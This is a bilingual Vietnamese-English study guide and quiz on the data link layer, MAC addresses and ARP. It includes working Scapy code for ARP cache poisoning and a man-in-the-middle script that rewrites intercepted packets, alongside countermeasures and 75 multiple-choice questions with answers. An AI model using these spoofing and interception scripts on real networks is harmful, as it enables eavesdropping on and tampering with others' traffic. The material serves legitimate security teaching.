DATA LINK LAYER & ARP ATTACKS¤
1. DATA LINK LAYER CƠ BẢN¤
Chức năng¤
- Encapsulate datagram vào frame
- Add error checking, reliable transfer, flow control
- Hoạt động giữa 2 physically-connected interfaces (same subnet)
Layer Stack¤
Application
Transport
Network (IP datagram)
↓
Data Link (Frame: [Header | Datagram | Trailer])
↓
Physical (Bits)
2. MAC ADDRESS¤
Đặc điểm¤
- 48-bit address (6 bytes)
- Ví dụ:
1A-2F-BB-76-09-AD(hexadecimal) - Burned in NIC ROM, có thể software settable
- Globally unique (IEEE quản lý allocation)
MAC vs IP¤
| Aspect | MAC Address | IP Address |
|---|---|---|
| Kiểu | Physical, flat | Logical, hierarchical |
| Tính di động | Portable (move LAN to LAN) | Not portable (phụ thuộc subnet) |
| Tương tự | Social Security Number | Postal Address |
| Scope | Local (same LAN) | Global (Internet-wide) |
| Length | 48 bits | 32 bits (IPv4) |
Broadcast Address¤
- FF-FF-FF-FF-FF-FF: Gửi đến tất cả devices trên LAN
3. ETHERNET FRAME¤
Cấu trúc (IEEE 802.3)¤
┌──────────┬────────────┬────────────┬──────┬─────┬─────┐
│ Preamble │ Dest MAC │ Source MAC │ Type │ Data│ FCS │
│ 8 bytes │ 6 bytes │ 6 bytes │2bytes│ │4byte│
└──────────┴────────────┴────────────┴──────┴─────┴─────┘
Type field: - 0x0800: IPv4 - 0x0806: ARP - 0x86DD: IPv6
Wireshark Example¤
4. MAC PRIVACY ISSUE¤
Vấn đề¤
- MAC address unique → có thể track user
- WiFi APs ghi nhớ MAC → trace location (malls, shops)
Giải pháp¤
- MAC randomization: iOS 8+, Android
- Software-generated random MAC khi probe APs
- Trade-off: Performance vs Privacy
5. ARP PROTOCOL¤
Mục đích¤
Map IP address → MAC address (trong cùng subnet)
ARP Cache (ARP Table)¤
IP Address MAC Address TTL
192.168.1.5 1A-2F-BB-76-09-AD 20 min
192.168.1.10 58-23-D7-FA-20-B0 18 min
Commands:
6. ARP PROTOCOL WORKFLOW¤
Scenario: A muốn gửi packet cho B (cùng subnet)¤
Step 1: ARP Request (Broadcast)
A → Broadcast (FF:FF:FF:FF:FF:FF)
Ethernet Frame:
Dest MAC: FF:FF:FF:FF:FF:FF
Src MAC: A's MAC
Type: 0x0806 (ARP)
ARP Message:
Sender MAC: A's MAC
Sender IP: A's IP
Target MAC: 00:00:00:00:00:00 (unknown)
Target IP: B's IP
Step 2: ARP Reply (Unicast)
B → A (A's MAC)
Ethernet Frame:
Dest MAC: A's MAC
Src MAC: B's MAC
Type: 0x0806
ARP Message:
Sender MAC: B's MAC
Sender IP: B's IP
Target MAC: A's MAC
Target IP: A's IP
Step 3: A updates cache
Step 4: A sends data
7. ROUTING ACROSS SUBNETS¤
Scenario: A (subnet 1) → B (subnet 2) via Router R¤
A's subnet: 111.111.111.0/24 B's subnet: 222.222.222.0/24
Step-by-Step¤
1. A → R (first hop)
Frame:
Dest MAC: R's MAC (interface in A's subnet)
Src MAC: A's MAC
Datagram:
Src IP: A's IP (111.111.111.111)
Dest IP: B's IP (222.222.222.222)
2. R receives & forwards
- R extracts datagram
- Routing decision: forward to B's subnet
- R creates new frame:
Frame:
Dest MAC: B's MAC
Src MAC: R's MAC (interface in B's subnet)
Datagram: (KHÔNG ĐỔI)
Src IP: A's IP
Dest IP: B's IP
3. B receives
Key Point¤
- MAC addresses: Change at each hop (L2)
- IP addresses: Remain same end-to-end (L3)
8. ARP CACHE POISONING ATTACK¤
Đặc điểm ARP¤
- Stateless protocol: Không verify sender
- Update cache khi nhận:
- ARP Request
- ARP Reply
- ARP Gratuitous
Mục tiêu¤
Poison (làm độc) ARP cache của victim → redirect traffic
3 Loại Spoofed Messages¤
8.1 Spoofed ARP Request¤
# Scapy code
E = Ether(dst="00:50:56:a8:0e:77") # Victim MAC (unicast)
A = ARP(op=1, # Request
psrc="10.102.20.178", # Pretend IP (target)
hwsrc="aa:bb:cc:dd:ee:ff", # FAKE MAC
pdst="10.102.20.177") # Victim IP
sendp(E/A)
Kết quả: Victim's cache
8.2 Spoofed ARP Reply¤
E = Ether(dst="00:50:56:a8:0e:77") # Victim MAC
A = ARP(op=2, # Reply
psrc="10.102.20.178", # Pretend IP
hwsrc="aa:bb:cc:dd:ee:ff", # FAKE MAC
pdst="10.102.20.177", # Victim IP
hwdst="00:50:56:a8:0e:77") # Victim MAC
sendp(E/A)
Note: Reply/Gratuitous chỉ work nếu cache ĐÃ CÓ entry
Trick: Trigger victim gửi ARP request
# Send spoofed ICMP echo request
# Victim reply → cần biết attacker MAC → send ARP request
# → Attacker can poison với reply
8.3 Spoofed ARP Gratuitous¤
# Gratuitous: psrc = pdst (announce own IP)
E = Ether(dst="ff:ff:ff:ff:ff:ff") # Broadcast
A = ARP(op=2, # Reply type
psrc="10.102.20.178", # Pretend IP
hwsrc="aa:bb:cc:dd:ee:ff", # FAKE MAC
pdst="10.102.20.178") # Same as psrc!
sendp(E/A)
9. MAN-IN-THE-MIDDLE (MITM) ATTACK¤
Mục tiêu¤
Intercept & modify traffic giữa Alice và Bob
Điều kiện¤
- Attacker (M) phải cùng network với A và B
- ARP poisoning CHỈ hoạt động local (same LAN)
Attack Steps¤
Step 1: Poison cả 2 victims
A's cache: B's cache:
B's IP → M's MAC A's IP → M's MAC
(thay vì B's MAC) (thay vì A's MAC)
Step 2: A gửi packet cho B
Step 3: Packet arrives at M
M checks: Dest IP = B's IP (not M's IP)
Scenario 1: M configured as ROUTER
→ IP forwarding enabled
→ Forward packet to B
Scenario 2: M configured as HOST
→ IP forwarding disabled
→ DROP packet (vì dest IP ≠ M's IP)
Solution: Raw Socket + Manual Forwarding¤
Disable IP forwarding:
M's code (Scapy):
def spoof_pkt(pkt):
# Intercept packet
if pkt[IP].src == A_IP and pkt[IP].dst == B_IP:
# Modify packet
newpkt = IP(pkt[IP])
del(newpkt.chksum) # Scapy recalculate
# Example: Replace content
if Raw in newpkt:
data = newpkt[Raw].load
newdata = data.replace(b'kevin', b'AAAAA')
newpkt[Raw].load = newdata
# Forward to B
send(newpkt)
# Similar for B → A direction
# Sniff và process
sniff(filter='...', prn=spoof_pkt)
MITM trên Telnet¤
Đặc điểm Telnet: - Mỗi keystroke = 1 TCP packet - Server echo back
Attack: Replace mỗi character với 'A'
if TCP in pkt and Raw in pkt:
payload = pkt[Raw].load
newpayload = re.sub(rb'[a-zA-Z]', b'A', payload)
newpkt[Raw].load = newpayload
10. ARP POISONING LIMITATIONS¤
Critical Limitation¤
ARP chỉ hoạt động trong cùng LAN (Layer 2)
Câu hỏi kiểm tra hiểu biết¤
Scenario (Fiction):
"Russia hackers launched ARP cache poisoning attacks from Russia against White House network."
Question: Có thể không?
Answer: ❌ KHÔNG THỂ - ARP packets KHÔNG route qua Internet - Chỉ hoạt động local network - Attacker phải physically inside target network
Ý nghĩa¤
- ARP poisoning không phải remote attack
- Cần physical/VPN access vào target LAN
- Không đe dọa từ xa như các attacks khác
11. COUNTERMEASURES¤
11.1 Encryption (BEST)¤
Nguyên lý: - Encrypt traffic (HTTPS, SSH, VPN) - MITM có thể intercept nhưng không đọc/sửa được - Chỉ có thể DoS (drop packets)
Ví dụ:
A → M → B
Without encryption:
M sees: "username=alice&password=123"
M can modify to: "username=alice&password=hacked"
With encryption:
M sees: "a8f3b2c9d1e5..."
M cannot decrypt or modify meaningfully
11.2 Static ARP Entries¤
# Add static entry (không bị poison)
sudo arp -s 192.168.1.5 1A:2F:BB:76:09:AD
# Problem: Không scale, khó maintain
11.3 ARP Monitoring Tools¤
- arpwatch: Monitor ARP cache changes
- XArp: Alert on suspicious ARP activity
- Snort: IDS rules cho ARP poisoning
11.4 Port Security (Switch)¤
# Cisco switch config
switchport port-security
switchport port-security mac-address [MAC]
switchport port-security violation shutdown
11.5 Dynamic ARP Inspection (DAI)¤
- Switch verify ARP packets against DHCP snooping database
- Drop invalid ARP responses
12. SCAPY FIELDS REFERENCE¤
Ether() Fields¤
Ether(
dst="FF:FF:FF:FF:FF:FF", # Destination MAC
src="00:11:22:33:44:55", # Source MAC (auto if omit)
type=0x0806 # EtherType (auto if omit)
)
ARP() Fields¤
ARP(
op=1, # Operation: 1=request, 2=reply
hwsrc="...", # Sender MAC
psrc="...", # Sender IP
hwdst="...", # Target MAC (00:00:00:00:00:00 for request)
pdst="..." # Target IP
)
Sending¤
sendp(pkt) # Send at Layer 2 (include Ether)
send(pkt) # Send at Layer 3 (auto add Ether)
srp(pkt, timeout=2) # Send & receive Layer 2
13. PACKET FLOW IN OS¤
Normal Flow¤
Sniffer với Raw Socket¤
┌─────────────┐
│ Application │
└──────┬──────┘
↓
┌─────────────┐
│ Raw Socket │ ← Sniffer opens this
└──────┬──────┘
↓
┌─────────┴─────────┐
↓ ↓
Normal stack Copy to sniffer
(IP, TCP, App) (before drop/process)
Python Raw Socket:
import socket
# Create raw socket (need root)
s = socket.socket(socket.AF_PACKET,
socket.SOCK_RAW,
socket.ntohs(0x0003)) # ETH_P_ALL
# Receive frames
while True:
frame = s.recvfrom(65535)
# Process frame
GHI NHỚ NHANH¤
MAC vs IP¤
MAC: Physical, flat, portable, 48-bit, local scope IP: Logical, hierarchical, not portable, 32-bit, global
ARP Workflow¤
Request (broadcast) → Reply (unicast) → Cache update
Frame vs Datagram¤
Frame: MAC header + IP datagram (L2) Datagram: IP header + TCP/UDP segment (L3)
Routing Hop¤
MAC thay đổi mỗi hop, IP không đổi end-to-end
ARP Poisoning¤
Stateless → Update cache bằng Request/Reply/Gratuitous Spoof MAC để redirect traffic
MITM Requirements¤
- Same LAN với victims
- Poison cả 2 victims' caches
- Disable IP forwarding + manual forward với raw socket
ARP Limitation¤
CHỈ local LAN, KHÔNG remote attack
Best Countermeasure¤
ENCRYPTION (HTTPS, SSH, VPN)
Commands¤
arp -n # Show cache
arp -d IP # Delete entry
arp -s IP MAC # Static entry
ip neigh show # Modern Linux
tcpdump arp # Capture ARP
Scapy Template¤
# ARP Request
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
ARP(op=1, pdst="192.168.1.5"))
# ARP Reply (poison)
sendp(Ether(dst=victim_mac)/
ARP(op=2, psrc=target_ip,
hwsrc=fake_mac, pdst=victim_ip))
DATA LINK LAYER & ARP ATTACKS - CÂU HỎI TRẮC NGHIỆM¤
PHẦN 1: DATA LINK LAYER CƠ BẢN¤
Câu 1: Data Link layer có chức năng gì?
A. Routing packets
B. Encapsulate datagram vào frame, add error checking
C. Chỉ mã hóa data
D. Chỉ forward packets
✅ Đáp án: B
Câu 2: Data Link layer hoạt động giữa các devices như thế nào?
A. Giữa bất kỳ 2 devices nào trên Internet
B. Giữa 2 physically-connected interfaces (same subnet)
C. Chỉ trong cùng tòa nhà
D. Chỉ wireless
✅ Đáp án: B
Câu 3: Frame là gì?
A. IP packet
B. Data Link layer encapsulation: [MAC header | Datagram | Trailer]
C. Application data
D. TCP segment
✅ Đáp án: B
PHẦN 2: MAC ADDRESS¤
Câu 4: MAC address có độ dài bao nhiêu?
A. 32 bits
B. 48 bits (6 bytes)
C. 64 bits
D. 128 bits
✅ Đáp án: B
Câu 5: MAC address được viết ở format nào?
A. Decimal
B. Binary
C. Hexadecimal (vd: 1A-2F-BB-76-09-AD)
D. Octal
✅ Đáp án: C
Câu 6: MAC address được quản lý bởi ai?
A. IANA
B. IEEE
C. ICANN
D. ISO
✅ Đáp án: B
Câu 7: MAC address tương tự gì?
A. Postal address
B. Social Security Number (unique identifier)
C. Phone number
D. Email address
✅ Đáp án: B
Câu 8: IP address tương tự gì?
A. Social Security Number
B. Postal address (thay đổi theo location)
C. MAC address
D. Hardware ID
✅ Đáp án: B
Câu 9: MAC address có portable (di động) không?
A. Không, phụ thuộc subnet
B. Có, có thể move interface từ LAN này sang LAN khác
C. Chỉ portable trong cùng building
D. Không bao giờ
✅ Đáp án: B
Câu 10: IP address có portable không?
A. Có, luôn luôn
B. Không, phụ thuộc subnet mà node attach
C. Chỉ IPv6
D. Chỉ private IP
✅ Đáp án: B
Câu 11: Broadcast MAC address là gì?
A. 00:00:00:00:00:00
B. FF:FF:FF:FF:FF:FF
C. 11:11:11:11:11:11
D. AA:AA:AA:AA:AA:AA
✅ Đáp án: B
Câu 12: MAC address được lưu ở đâu?
A. Chỉ trong OS
B. Burned in NIC ROM, có thể software settable
C. Chỉ trong RAM
D. Trên cloud
✅ Đáp án: B
PHẦN 3: ETHERNET FRAME¤
Câu 13: Ethernet frame gồm những phần chính nào?
A. Chỉ data
B. Preamble, Dest MAC, Src MAC, Type, Data, FCS
C. Chỉ IP header
D. Chỉ MAC addresses
✅ Đáp án: B
Câu 14: Type field = 0x0800 có nghĩa gì?
A. ARP
B. IPv4
C. IPv6
D. ICMP
✅ Đáp án: B
Câu 15: Type field = 0x0806 là protocol gì?
A. IPv4
B. ARP
C. ICMP
D. TCP
✅ Đáp án: B
Câu 16: Type field = 0x86DD là gì?
A. IPv4
B. ARP
C. IPv6
D. UDP
✅ Đáp án: C
Câu 17: FCS trong Ethernet frame dùng để làm gì?
A. Forward packets
B. Frame Check Sequence - error detection
C. Flow control
D. Fragmentation
✅ Đáp án: B
PHẦN 4: MAC PRIVACY¤
Câu 18: Vấn đề privacy với MAC address là gì?
A. Không có vấn đề
B. MAC unique → có thể track user location (malls, APs)
C. Chỉ vấn đề với IP
D. Không quan trọng
✅ Đáp án: B
Câu 19: Giải pháp cho MAC privacy issue?
A. Không có giải pháp
B. MAC randomization - software-generated random MAC
C. Tắt WiFi
D. Dùng VPN
✅ Đáp án: B
Câu 20: Trade-off của MAC randomization?
A. Cost vs Security
B. Performance vs Privacy
C. Speed vs Reliability
D. Không có trade-off
✅ Đáp án: B
PHẦN 5: ARP PROTOCOL¤
Câu 21: ARP viết tắt của gì?
A. Address Routing Protocol
B. Address Resolution Protocol
C. Automatic Routing Protocol
D. Advanced Resolution Protocol
✅ Đáp án: B
Câu 22: Mục đích của ARP?
A. Route packets giữa networks
B. Map IP address → MAC address (trong cùng subnet)
C. Encrypt data
D. DNS lookup
✅ Đáp án: B
Câu 23: ARP hoạt động ở layer nào?
A. Application layer
B. Transport layer
C. Between Network và Data Link layers
D. Physical layer
✅ Đáp án: C
Câu 24: ARP cache/table chứa gì?
A. Chỉ IP addresses
B. IP → MAC mappings với TTL
C. Chỉ MAC addresses
D. DNS records
✅ Đáp án: B
Câu 25: TTL trong ARP cache thường là bao lâu?
A. 5 minutes
B. 20 minutes (typical)
C. 1 hour
D. Permanent
✅ Đáp án: B
Câu 26: Command show ARP cache trên Linux?
A. ifconfig
B. arp -n
C. route -n
D. netstat -r
✅ Đáp án: B
Câu 27: Command delete ARP entry?
A. arp -a IP
B. arp -d IP
C. arp -s IP
D. arp -f IP
✅ Đáp án: B
PHẦN 6: ARP WORKFLOW¤
Câu 28: Khi A muốn gửi packet cho B (cùng subnet, chưa có cache), A gửi gì TRƯỚC?
A. Direct packet to B
B. ARP Request (broadcast) hỏi MAC của B
C. DNS query
D. ICMP ping
✅ Đáp án: B
Câu 29: ARP Request được gửi đến địa chỉ nào?
A. Unicast đến B
B. Broadcast FF:FF:FF:FF:FF:FF
C. Multicast
D. Anycast
✅ Đáp án: B
Câu 30: Ai reply cho ARP Request?
A. Tất cả devices
B. Chỉ device có IP được hỏi (B)
C. Router
D. DNS server
✅ Đáp án: B
Câu 31: ARP Reply được gửi kiểu gì?
A. Broadcast
B. Unicast đến requester
C. Multicast
D. Anycast
✅ Đáp án: B
Câu 32: Sau khi nhận ARP Reply, A làm gì?
A. Gửi packet ngay
B. Update ARP cache, rồi gửi packet
C. Hỏi lại
D. Không làm gì
✅ Đáp án: B
Câu 33: ARP Request chứa Target MAC là gì?
A. FF:FF:FF:FF:FF:FF
B. 00:00:00:00:00:00 (unknown)
C. Requester's MAC
D. Router's MAC
✅ Đáp án: B
PHẦN 7: ROUTING ACROSS SUBNETS¤
Câu 34: A (subnet 1) gửi packet cho B (subnet 2), frame đầu tiên gửi đến ai?
A. Trực tiếp đến B
B. Đến first-hop router R
C. Đến DNS server
D. Broadcast
✅ Đáp án: B
Câu 35: Trong frame A → R, destination MAC là gì?
A. B's MAC
B. R's MAC (interface trong A's subnet)
C. Broadcast
D. A's MAC
✅ Đáp án: B
Câu 36: Trong datagram bên trong frame A → R, destination IP là gì?
A. R's IP
B. A's IP
C. B's IP (end-to-end, không đổi)
D. DNS server IP
✅ Đáp án: C
Câu 37: Khi routing qua nhiều hops, điều gì THAY ĐỔI?
A. Source và Destination IPs
B. MAC addresses (mỗi hop khác nhau)
C. TCP port numbers
D. Application data
✅ Đáp án: B
Câu 38: Khi routing qua nhiều hops, điều gì KHÔNG ĐỔI?
A. MAC addresses
B. TTL value
C. Source và Destination IPs (end-to-end)
D. Frame headers
✅ Đáp án: C
Câu 39: Router R forward packet sang subnet khác, R tạo frame mới với?
A. Dest MAC = B's MAC, Src MAC = R's MAC (interface B's subnet)
B. Giữ nguyên frame cũ
C. Dest MAC = A's MAC
D. Random MAC
✅ Đáp án: A
PHẦN 8: ARP CACHE POISONING¤
Câu 40: ARP là loại protocol gì?
A. Stateful protocol
B. Stateless protocol (không verify sender)
C. Connection-oriented
D. Encrypted protocol
✅ Đáp án: B
Câu 41: ARP cache được update khi nhận gì?
A. Chỉ ARP Reply
B. ARP Request, Reply, hoặc Gratuitous
C. Chỉ ARP Request
D. Không bao giờ update
✅ Đáp án: B
Câu 42: Mục tiêu của ARP Cache Poisoning?
A. Delete cache
B. Poison cache → redirect traffic đến attacker
C. Tăng tốc độ
D. Backup cache
✅ Đáp án: B
Câu 43: ARP Gratuitous là gì?
A. Request bình thường
B. ARP message với psrc = pdst (announce own IP)
C. Reply bình thường
D. Error message
✅ Đáp án: B
Câu 44: Spoofed ARP Request gửi đến địa chỉ nào?
A. Broadcast (hoặc unicast đến victim)
B. Chỉ router
C. DNS server
D. Gateway
✅ Đáp án: A
Câu 45: Trong spoofed ARP, hwsrc (sender MAC) là gì?
A. Real attacker MAC
B. FAKE MAC (attacker muốn victim nghĩ)
C. Victim MAC
D. Router MAC
✅ Đáp án: B
Câu 46: ARP Reply/Gratuitous chỉ work khi nào?
A. Luôn luôn work
B. Khi cache ĐÃ CÓ entry của target IP
C. Chỉ ban đêm
D. Không bao giờ work
✅ Đáp án: B
Câu 47: Trick để làm victim có cache entry?
A. Gửi DNS query
B. Trigger victim gửi ARP request (vd: spoofed ICMP echo)
C. Reboot victim
D. Không có cách
✅ Đáp án: B
Câu 48: Scapy ARP field "op" có giá trị nào?
A. 1 = Request, 2 = Reply
B. 0 = Request, 1 = Reply
C. True/False
D. Yes/No
✅ Đáp án: A
PHẦN 9: MAN-IN-THE-MIDDLE (MITM)¤
Câu 49: MITM attack với ARP cần điều kiện gì?
A. Remote access
B. Attacker CÙNG NETWORK (same LAN) với victims
C. Root access on victims
D. DNS server access
✅ Đáp án: B
Câu 50: MITM cần poison cache của ai?
A. Chỉ Alice
B. Chỉ Bob
C. Cả Alice VÀ Bob
D. Chỉ router
✅ Đáp án: C
Câu 51: Sau khi poison, A's cache có gì?
A. B's IP → B's MAC
B. B's IP → M's MAC (attacker MAC)
C. M's IP → M's MAC
D. Không thay đổi
✅ Đáp án: B
Câu 52: Khi A gửi packet cho B (sau poison), MAC destination là gì?
A. B's MAC
B. M's MAC (vì A's cache bị poison)
C. Router MAC
D. Broadcast
✅ Đáp án: B
Câu 53: Packet đến M, dest IP = B's IP (not M's), M configured as HOST sẽ làm gì?
A. Forward to B
B. DROP packet (vì dest IP ≠ M's IP)
C. Reply error
D. Broadcast
✅ Đáp án: B
Câu 54: Để M forward manually, cần làm gì?
A. Enable IP forwarding
B. Disable IP forwarding + dùng raw socket + manual forward
C. Chỉ cần raw socket
D. Không cần làm gì
✅ Đáp án: B
Câu 55: Command disable IP forwarding?
A. sysctl net.ipv4.ip_forward=1
B. sysctl net.ipv4.ip_forward=0
C. iptables -F
D. route add
✅ Đáp án: B
Câu 56: Raw socket cho phép gì?
A. Chỉ send packets
B. Sniff packets TRƯỚC KHI kernel process/drop
C. Chỉ receive packets
D. Không làm gì
✅ Đáp án: B
Câu 57: Trong MITM code, tại sao phải delete checksum trước khi modify?
A. Không cần delete
B. Để Scapy tự recalculate checksum mới sau khi modify
C. Để tăng tốc độ
D. Để encrypt
✅ Đáp án: B
Câu 58: Telnet khác netcat như thế nào về packet sending?
A. Giống nhau
B. Telnet: mỗi keystroke = 1 packet, netcat: cả line = 1 packet
C. Telnet nhanh hơn
D. netcat an toàn hơn
✅ Đáp án: B
PHẦN 10: ARP LIMITATIONS¤
Câu 59: ARP hoạt động ở scope nào?
A. Global (Internet-wide)
B. Chỉ local LAN (Layer 2, same subnet)
C. Country-wide
D. ISP-wide
✅ Đáp án: B
Câu 60: ARP packets có route qua Internet không?
A. Có
B. KHÔNG - chỉ local LAN
C. Chỉ qua router
D. Tùy cấu hình
✅ Đáp án: B
Câu 61: Có thể launch ARP poisoning từ xa (remote) không?
A. Có, dễ dàng
B. KHÔNG - phải inside target network
C. Chỉ với VPN
D. Chỉ với root access
✅ Đáp án: B
Câu 62: "Russia hackers launch ARP attack from Russia against White House" - có thể không?
A. Có thể
B. KHÔNG THỂ - ARP chỉ local, không remote attack
C. Có thể với VPN
D. Có thể với proxy
✅ Đáp án: B
Câu 63: Ý nghĩa security của ARP limitation?
A. ARP rất nguy hiểm
B. ARP poisoning không phải remote threat, cần physical/VPN access
C. Không quan trọng
D. Chỉ ảnh hưởng WiFi
✅ Đáp án: B
PHẦN 11: COUNTERMEASURES¤
Câu 64: Countermeasure TỐT NHẤT chống MITM?
A. Firewall
B. Encryption (HTTPS, SSH, VPN)
C. Antivirus
D. Strong password
✅ Đáp án: B
Câu 65: Khi traffic được encrypt, MITM attacker có thể làm gì?
A. Đọc và modify được
B. Chỉ có thể DoS (drop packets), không đọc/modify
C. Bypass encryption
D. Decrypt dễ dàng
✅ Đáp án: B
Câu 66: Static ARP entries là gì?
A. Dynamic entries
B. Manually configured, không bị poison (nhưng khó maintain)
C. Automatic entries
D. Temporary entries
✅ Đáp án: B
Câu 67: Command add static ARP entry?
A. arp -d IP MAC
B. arp -s IP MAC
C. arp -n IP MAC
D. arp -a IP MAC
✅ Đáp án: B
Câu 68: arpwatch tool làm gì?
A. Generate ARP traffic
B. Monitor ARP cache changes, alert on suspicious
C. Block ARP
D. Encrypt ARP
✅ Đáp án: B
Câu 69: Dynamic ARP Inspection (DAI) hoạt động như thế nào?
A. Disable ARP
B. Switch verify ARP packets, drop invalid responses
C. Encrypt ARP
D. Speed up ARP
✅ Đáp án: B
Câu 70: Port Security trên switch làm gì?
A. Block all ports
B. Bind MAC address to switch port, prevent spoofing
C. Open all ports
D. Encrypt traffic
✅ Đáp án: B
PHẦN 12: SCAPY¤
Câu 71: Scapy sendp() khác send() như thế nào?
A. Giống nhau
B. sendp() = Layer 2 (include Ether), send() = Layer 3 (auto Ether)
C. sendp() nhanh hơn
D. send() an toàn hơn
✅ Đáp án: B
Câu 72: Scapy srp() dùng để làm gì?
A. Chỉ send
B. Send & receive packets ở Layer 2
C. Chỉ receive
D. Delete packets
✅ Đáp án: B
Câu 73: Khi stack Ether và ARP trong Scapy?
A. Ether + ARP
B. Ether / ARP
C. Ether, ARP
D. Ether & ARP
✅ Đáp án: B
- Operator / để stack layers
Câu 74: Scapy ARP field psrc là gì?
A. Packet source
B. Protocol source = Sender IP
C. Port source
D. Physical source
✅ Đáp án: B
Câu 75: Scapy ARP field hwsrc là gì?
A. Hardware source = Sender MAC
B. Host source
C. HTTP source
D. Hash source
✅ Đáp án: A
GHI NHỚ QUAN TRỌNG¤
MAC vs IP¤
| Feature | MAC | IP |
|---|---|---|
| Type | Physical | Logical |
| Length | 48-bit | 32-bit |
| Portable | ✅ | ❌ |
| Scope | Local (L2) | Global (L3) |
| Analogy | SSN | Postal addr |
ARP Workflow¤
1. A → Broadcast: ARP Request (who has B's IP?)
2. B → A: ARP Reply (B's MAC)
3. A updates cache: B's IP → B's MAC
4. A → B: Data frame
Routing Hop¤
- MAC: Thay đổi MỖI HOP
- IP: KHÔNG ĐỔI end-to-end
ARP Poisoning¤
- Stateless → Update cache dễ dàng
- 3 types: Request, Reply, Gratuitous
- Spoof hwsrc để redirect
MITM Requirements¤
- Same LAN với victims
- Poison CẢ HAI caches
- Raw socket + manual forward
ARP Limitation¤
CHỈ LOCAL LAN, KHÔNG REMOTE
Best Countermeasure¤
ENCRYPTION (HTTPS/SSH/VPN)
Commands¤
arp -n # Show cache
arp -d IP # Delete
arp -s IP MAC # Static entry
ip neigh show # Modern Linux
tcpdump arp # Capture ARP